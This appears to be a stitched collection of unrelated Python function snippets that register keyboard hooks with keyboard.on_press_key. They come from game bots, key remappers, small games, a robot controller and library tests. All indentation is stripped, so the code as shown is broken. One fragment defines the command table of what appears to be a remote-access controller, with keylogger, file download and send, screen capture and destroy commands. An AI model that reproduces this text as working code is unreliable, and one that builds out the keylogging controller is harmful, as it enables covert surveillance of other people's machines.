def main(Chat):
global continua, tag_timeout
keyboard.on_press_key(72, stopFile, suppress=False)
path_logfile = os.path.join(os.getenv("APPDATA"),
".minecraft\\logs\\latest.log")
Chat.sendChat(
"Scrivete \"@alessandrobasi F\" per essere sorteggiati per vincere 10 token, Avete 1 minuto [F maiuscola]"
)
threading.Timer(60, stopFile).start()
with open(path_logfile, "r", encoding="ANSI") as logfile:
logfile.readlines() # Vai alla fine del file per il tell
while continua:
where = logfile.tell()
line = logfile.readline()
if not line:
sleep(1)
logfile.seek(where)
else:
# C'è un nuovo messaggio
if "alessandrobasi §8»" not in line and "@alessandrobasi F" in line:
Chat.addPlayer(line)
Chat.sendChat(f"L'utente {Chat.getWinner()} ha vinto 10 token")
def main():
foreground = threading.Thread(target=verify_foreground_application,
name="ForegroundApp")
foreground.start()
coordinates_thread = threading.Thread(target=check_coordinates,
name="CoordinatesThread")
coordinates_thread.start()
keyboard.on_press_key("esc", pause_bot)
while (not commands.check_in_game()):
pass
if (WHAT_TO_DO == 'dungeon'):
while (True):
fight()
commands.walk()
commands.sleep(10, fight)
if (WHAT_TO_DO == 'fishing'):
commands.go_fishing(fight, num_times=NUM_FISHING_TIMES)
if (WHAT_TO_DO == 'record'):
record_path(commands)
if (WHAT_TO_DO == 'follow'):
time.sleep(1)
commands.load_path()
#from core.record_path import record_path
#record_path(commands)
while (True):
fight()
for _ in range(10):
commands.follow_path()
def main(Chat):
global continua, tag_timeout
keyboard.on_press_key(72, stopFile, suppress=False)
path_logfile = os.path.join(
os.getenv("APPDATA"), ".minecraft\\logs\\latest.log")
with open(path_logfile, "r", encoding="ANSI") as logfile:
logfile.readlines() # Vai alla fine del file per il tell
while continua:
where = logfile.tell()
line = logfile.readline()
if not line:
sleep(1)
logfile.seek(where)
else:
# C'è un nuovo messaggio
if "alessandrobasi §8»" not in line and "@alessandrobasi" in line:
if tag_timeout:
Chat.sendTag()
tag_timeout = False
threading.Timer(15, timeout_tag).start()
elif "GIOCO > Risolvi" in line:
Chat.sendSum(line)
def bindThings(self):
from threading import Thread
self.__clicked = 0
import keyboard
keyboard.on_press_key("6", self.pressed)
def __init__(self, host = "localhost"):
self.__server = host
self.destroy_url = format_url(destroy_url = self.__server)
self.menu_url = format_url(menu_url = self.__server)
self.__commands = {
"activate": lambda args: self.change_status(True),
"copy": lambda args: copy(self.output),
"clear": lambda args: self.clear_screen(),
"destroy": lambda args: self.destroy(),
"download": lambda filename: self.download(filename),
"help": lambda args: self.help(),
"keylogger": lambda args: self.show_keys(),
"print": lambda args: self.print_screen(),
"save": lambda args: self.save_keys(),
"select": lambda user: self.change_user(user),
"send": lambda filename: self.send_file(filename),
"stop": lambda args: self.change_status(False),
"user": lambda args: print(" " + self.__username),
"users": lambda args: self.show_users(),
"write": lambda text: self.write(text)
}
keyboard.on_press_key("q", self.stop)
def main():
# Initiate process
proc_handle, thread_handle, pid, thread_id = initialize_process(TH_PATH)
adv_handle = open_process(pid, PROCESS_ALL_ACCESS)
time.sleep(4) # Wait for program to load
# set_lives(adv_handle, 0)
# set_score(adv_handle, 0)
fit_window()
possible_actions = [
dk.SCANCODES["z"], # dk.SCANCODES["x"],
None,
dk.SCANCODES["UP"],
dk.SCANCODES["DOWN"],
dk.SCANCODES["LEFT"],
dk.SCANCODES["RIGHT"]
]
model = Model(FRAMES_FEED, len(possible_actions), RESIZE_WIDTH,
RESIZE_HEIGHT).to(DEVICE)
if LOAD_MODEL:
model.load_state_dict(torch.load(MODEL_PATH))
target_model = Model(FRAMES_FEED, len(possible_actions), RESIZE_WIDTH,
RESIZE_HEIGHT).to(DEVICE)
pause()
keyboard.on_press_key(" ", pause)
try:
main_loop(adv_handle, possible_actions, model, target_model)
finally:
pass
def key_down_callback(self, key_obj):
try:
global IsOpen
print("key_down_callback: %s" % IsOpen)
# 一直按着时，不忽略就会报错
if not self._event_hook_obj and IsOpen:
key_string = " ".join([k for k in self._hotKeys])
keys = [i for i in key_string.split(" ") if i]
for w in keys:
# 按下space的同时, 按下要监听的键
down_obj = keyboard.on_press_key(w,
self.process,
suppress=True)
self._event_hook_obj.append(down_obj)
# 用于恢复正常的激活状态
if not IsOpen:
try:
# 可能重复添加
if not self._event_hook_obj:
self.clear_listen()
self._event_hook_obj.append(
keyboard.on_press_key("1", self.process,
suppress=True))
# 释放除space外的监听
except Exception as e:
logging.error(str(e))
IsOpen = True
except Exception as e:
logging.error(str(e))
# 执行错误时, 默认输出空格, 所以需要except异常
self._processed = False
def remap_keyboard(src):
def handler(event):
global ctrl, numLock, capsLock, shift
if (ctrl or
(numLock
and event.scan_code in [71, 72, 73, 75, 76, 77, 79, 80, 81, 82])):
keyboard.send(event.scan_code)
elif ((event.scan_code not in [53]) and
((event.scan_code not in [72, 80, 75, 77]) or
(event.scan_code in [53, 72, 80, 75, 77] and event.is_keypad))):
if (event.event_type == keyboard.KEY_DOWN):
if (not capsLock):
if (shift and (src in shiftMap)):
keyboard.write(shiftMap[src])
shift = True
elif (src in unShiftMap):
keyboard.write(unShiftMap[src])
else:
keyboard.write(src)
else:
if (shift and (src in unShiftMap)):
keyboard.write(unShiftMap[src])
shift = True
elif (src in shiftMap):
keyboard.write(shiftMap[src])
else:
keyboard.write(src)
else:
keyboard.release(src)
else:
keyboard.send(event.scan_code)
keyboard.on_press_key(src, handler, suppress=True)
def activate_hooks(self):
keyboard.on_press_key(self.settings["move_up"], self.sel_cur_up)
keyboard.on_press_key(self.settings["move_down"], self.sel_cur_down)
keyboard.on_press_key(self.settings["quit"], self.end_prog)
keyboard.on_press_key(self.settings["check_off"], self.check_off)
keyboard.on_press_key(self.settings["delete_sel_item"],
self.del_sel_item)
def _main():
"""
Writes integer for respective action to text file.
NOTHING: 0
DOWN: 1
UP: 2
RIGHT: 3
LEFT: 4
"""
sct = mss.mss()
mon = {
'top': 60,
'left': 0,
'width': 420,
'height': 720
}
while True:
# screengrab
img = sct.grab(mon)
cv2.imshow('FRAME', np.array(img))
if cv2.waitKey(25) & 0xFF == ord('q'):
cv2.destroyAllWindows()
break
# keypress callbacks
keyboard.on_press_key('down', lambda _: _on_press('1', img), suppress=True)
keyboard.on_press_key('up', lambda _: _on_press('2', img), suppress=True)
keyboard.on_press_key('right', lambda _: _on_press('3', img), suppress=True)
keyboard.on_press_key('left', lambda _: _on_press('4', img), suppress=True)
keyboard.on_press_key('t', lambda _: _on_press('0', img), suppress=True)
def start_monitor():
mon = Monitor()
# 监听space按下
keyboard.on_press_key("space", mon.key_down_callback, suppress=True)
# 监听space释放
keyboard.on_release_key("space", mon.key_up_callback, suppress=True)
keyboard.wait()
def layout_basic():
# Remap keys
caps_remap('`', 'backspace', 'backspace', '`', '~')
caps_remap_raw(2, '1', '!', '7', '&') # Remap keys 1-6
caps_remap_raw(3, '2', '@', '8', '*')
caps_remap_raw(4, '3', '#', '9', '(')
caps_remap_raw(5, '4', '$', '0', ')')
caps_remap_raw(6, '5', '%', '-', '_')
caps_remap_raw(7, '6', '^', '=', '+')
caps_remap('q', 'q', 'Q', 'p', 'P', 'volume mute')
caps_remap('w', 'w', 'W', 'o', 'O', 'up')
caps_remap('e', 'e', 'E', 'i', 'I', 'volume down')
caps_remap('r', 'r', 'R', 'u', 'U', 'volume up')
caps_remap('t', 't', 'T', '[', '{')
caps_remap('y', 'y', 'Y', ']', '}')
caps_remap('u', 'u', 'U', '\\', '|')
caps_remap('a', 'a', 'A', ';', ':', 'left')
caps_remap('s', 's', 'S', 'l', 'L', 'down')
caps_remap('d', 'd', 'D', 'k', 'K', 'right')
caps_remap('f', 'f', 'F', 'j', 'J')
caps_remap('g', 'g', 'G', '\'', '"')
caps_remap('h', 'h', 'H', 'enter', 'enter')
caps_remap('z', 'z', 'Z', '.', '<')
caps_remap('x', 'x', 'X', ',', '>')
caps_remap('c', 'c', 'C', 'm', 'M')
caps_remap('v', 'v', 'V', 'n', 'N')
caps_remap('b', 'b', 'B', '?', '/')
# Bind key-specific callbacks
keyboard.on_press_key('capslock', util.cb_nop, suppress=True)
keyboard.on_press_key('tab', util.cb_tab, suppress=True)
def init(self):
keyboard.on_press_key('space', self.space_pressed)
keyboard.on_press_key('esc', self.quit)
self.p = pyaudio.PyAudio()
print("""
_______ _______ _______ ___ ___
/ ____/ / _____/ / ____/ / / / /
/ /___ / /__ / /___ / /_/ /
/___ / / ___/ /___ / / __ /
____/ / / /____ ____/ / / / / /
/______/ /______/ /______/ /__/ /__/
< CREATED BY QUIRKYSQUID >
""")
# sys.stdout.write("\033[F") - Go to previous line
# sys.stdout.write("\033[K") - Clear line
print("Space - Start/Stop Recording | Esc - Quit")
print("Not Recording")
print("")
while self.running:
self.record()
continue
sys.exit(0)
def __init__(self):
self.player_count = 11
self.current_player = 0
keyboard.on_press_key('q', self.previous_player)
keyboard.on_press_key('e', self.next_player)
def si_palo():
global p3
global has_cogido_palo
boton_1.pack_forget()
boton_2.pack_forget()
texto_palo.place()
has_cogido_palo = True
if p3 == False:
texto.set(
"Al salir de la tuberia debajo de la escotilla, te encuentras una rata la cual te dice:"
)
t2 = Timer(3, si_palo)
t2.start()
p3 = True
texto_palo.place(rely=0.1)
subindice_texto_palo.place(rely=0.15)
texto_palo.after(
5000, destruccion) #se hace asi para que sea como una notificacion
elif p3 == True:
keyboard.on_press_key("enter", revisar)
texto.set(
f"-Hola forastero, me gustaria que respondieras a una simple pregunta cuanto es 13 x {numero_random}"
)
caja_input.pack(side="bottom")
texto_boton1.set("")
boton_1.config(command=revisar)
texto_boton2.set("")
boton_2.config(command=None)
return has_cogido_palo
def host(port, html, ek="h"):
print("Hosting...")
global hosting
hosting = True
if not ek == None:
keyboard.on_press_key("h", aborthost)
while hosting:
run(port, html)
def __init__(self):
with open("words.txt", 'a', encoding='utf8') as f:
f.write(time.strftime("\n\"%Y-%m-%d\":", time.localtime()) + '\n')
self.root = Tk()
self.root.withdraw()
#keyboard.add_hotkey('alt+r', self.read_clip, trigger_on_release=True)
keyboard.on_press_key('f9', self.read_clip)
self.root.mainloop()
def enable(self, autorunState, dwarfglitchState):
if autorunState:
keyboard.on_press_key(self.hkAutorun, lambda e: self.switch_mode())
keyboard.on_release_key('w', lambda e: self.stop('w'))
keyboard.on_release_key('shift', lambda e: self.stop('shift'))
keyboard.on_release_key('s', lambda e: self.stop('s'))
if dwarfglitchState:
keyboard.add_hotkey(self.hkDwarfglitch, lambda: self.go_dwarf())
def StartWait():
global isLoop
while True:
print("waiting for start")
keyboard.wait("`")
keyboard.on_press_key('`', StopLoop)
isLoop = True
while isLoop:
LoopContent()
continue
def addSchortcut(self, shortcut):
"""
Add shortcut to keyboard event
Parameters:
shortcut (str|int): key combination or scancode
"""
if type(shortcut) == str:
keyboard.add_hotkey(shortcut, self.shortcutEvent)
else:
keyboard.on_press_key(shortcut, self.shortcutEvent)
def io_response(self):
'''override io_response'''
resp = int(sample_orientation(n_sample=1, uniform=True))
self.prob.setOri(resp)
# global variable for recording response
self.resp_flag = True
self.increment = 0
# define callback function for keyboard event
def left_callback(event):
self.increment = -1.0
def right_callback(event):
self.increment = +1.0
def release_callback(event):
self.increment = 0.0
def confirm_callback(event):
self.resp_flag = False
def aboard_callback(event):
self.resp_flag = False
self.win.close()
core.quit()
# key binding for recording response
key_bind = {
'left': left_callback,
'right': right_callback,
'space': confirm_callback,
'escape': aboard_callback
}
for key, callback in key_bind.items():
keyboard.on_press_key(key, callback)
for key in ['left', 'right']:
keyboard.on_release_key(key, release_callback)
# wait/record for response
while self.resp_flag:
if not self.increment == 0:
resp += self.increment
resp %= 180
self.prob.setOri(resp)
self.prob.draw()
self.fixation.draw()
self.win.flip()
keyboard.unhook_all()
return resp
def bind_keys(self):
keyboard.unhook_all()
for key in self.parsed_binds:
keyboard.on_press_key(key, self._on_press_key, True)
keyboard.on_release_key(key, self._on_release_key, True)
keyboard.block_key("escape")
keyboard.block_key("tab")
keyboard.block_key(".") # Prevent windows emoji menu.
keyboard.block_key("=") # Prevent windows magnifier.
keyboard.block_key("e") # Prevent windows explorer.
keyboard.block_key("q") # Prevent windows search.
def start(self):
def update():
while True:
time.sleep(1)
self.moves()
info_update = threading.Thread(target=update, args=[])
info_update.daemon = True
info_update.start()
keyboard.on_press_key("F1", lambda _: self.addGoo(num=1000))
keyboard.on_press_key("F2", lambda _: self.reset_Moves())
self.window.mainloop()
def __init__(self, args):
self.hostname = socket.gethostname()
self.port = 65000
self.ServerLog("Running Server With Args: " + str(args))
self.ServerLog("hostname: " + str(socket.gethostname()))
self.listeningSocket.bind((self.hostname, self.port))
self.listeningSocket.setblocking(0)
keyboard.on_press_key('q', self.SetQuit)
return
def label(dir_path, img_arr):
for index, img in enumerate(img_arr):
frame = cv2.imread('{}{}'.format(dir_path, img))
cv2.imshow('FRAME', np.array(frame))
keyboard.on_press_key('h',
lambda _: post_press('h', index),
suppress=True)
keyboard.on_press_key('n',
lambda _: post_press('n', index),
suppress=True)
cv2.waitKey(0)
def capture_input_select(self, box, card):
"""
responsible for menu input captures
:param box: specifies the box options to be passed to callback
"""
key_a = keyboard.on_press_key(
"a", lambda e: self.draw_selection("a", box, card))
key_d = keyboard.on_press_key(
"d", lambda e: self.draw_selection("d", box, card))
keyboard.wait(" ")
keyboard.unhook_key(key_a)
keyboard.unhook_key(key_d)
self.draw_selection(key=" ", box_options=box)
def Start():
win = None
streams = resolve_stream()
sortedStreams, contStreamsNames, discStreamsNames = classifyStreamInlet(
streams)
dialogContinuous = Dialog(contStreamsNames)
dialogMarkers = DialogMarkers(discStreamsNames)
if (len(sortedStreams["continuous"]) == 0):
dialogContinuous.showError()
else:
if dialogContinuous.exec_() and dialogContinuous.checkLineEditPattern(
):
windowParameters = dialogContinuous.returnWindowParameters()
checkedMarkers = []
if len(discStreamsNames) > 0:
result = dialogMarkers.exec_()
if result == 1:
checkedMarkers = dialogMarkers.returnWindowParameters()
p = Plotter(windowParameters, checkedMarkers, sortedStreams)
win = p.getWindow()
try:
keyboard.on_press_key('down', p.decr_datascale)
keyboard.on_press_key('up', p.incr_datascale)
keyboard.on_press_key('left', p.decr_timerange)
keyboard.on_press_key('right', p.incr_timerange)
except:
pass
else:
print("Plot window was not created.")
return win, p
def main(pong_game, led_wall, shared_vars):
keyboard.on_press_key(
'w', lambda _: pong_game.left_player.paddle.startUpwardMovement())
keyboard.on_release_key(
'w', lambda _: pong_game.left_player.paddle.stopMovement())
keyboard.on_press_key(
's', lambda _: pong_game.left_player.paddle.startDownwardMovement())
keyboard.on_release_key(
's', lambda _: pong_game.left_player.paddle.stopMovement())
keyboard.on_press_key(
'up', lambda _: pong_game.right_player.paddle.startUpwardMovement())
keyboard.on_release_key(
'up', lambda _: pong_game.right_player.paddle.stopMovement())
keyboard.on_press_key(
'down',
lambda _: pong_game.right_player.paddle.startDownwardMovement())
keyboard.on_release_key(
'down', lambda _: pong_game.right_player.paddle.stopMovement())
pause_game_due_to_new_ball_init = True
while not shared_vars.kill_threads:
# pause if ball was freshly initialized or a goal was just scored
if pause_game_due_to_new_ball_init:
pong_game.delayBallUpdate(1)
pause_game_due_to_new_ball_init = False
refreshGameScreen(led_wall, pong_game)
# update game
result = pong_game.update()
if result is not None:
# goal was scored
pause_game_due_to_new_ball_init = True
def __init__(self):
for key in ['w', 'a', 's', 'd']:
keyboard.on_press_key(key, self.set_direction)
self.wait = 1
self.direction = 'w'
self.body = [(0, 0), (0, 1), (0, 2)]
self.allow_move = True
self.matrix = [[0 for i in range(ROWS)] for j in range(COLUMNS)]
self.render_snake()
self.generate_food()
def main(args=None):
initiateRobotCommunication()
START = True
driveDirect(0, 0)
keyboard.on_press_key('w', lambda x: driveDirect(10, 10))
keyboard.on_press_key('s', lambda x: driveDirect(0, 0))
keyboard.on_press_key('a', lambda x: driveDirectRot(10, 5))
keyboard.on_press_key('d', lambda x: driveDirectRot(10, -5))
keyboard.on_press_key('shift', lambda x: driveDirect(-10, -10))
keyboard.wait('esc')
# Destroy the node explicitly
# (optional - otherwise it will be done automatically
# when the garbage collector destroys the node object)
closeRobotCommunication()
def test_on_press_key_nonblocking(self):
keyboard.on_press_key('A', lambda e: self.assertEqual(e.name, 'a') and self.assertEqual(e.event_type, KEY_DOWN))
self.do(d_a+u_a+d_b+u_b)
def test_on_press_key_blocking(self):
keyboard.on_press_key('A', lambda e: e.scan_code == 1, suppress=True)
self.do([make_event(KEY_DOWN, 'A', -1)] + d_a, d_a)
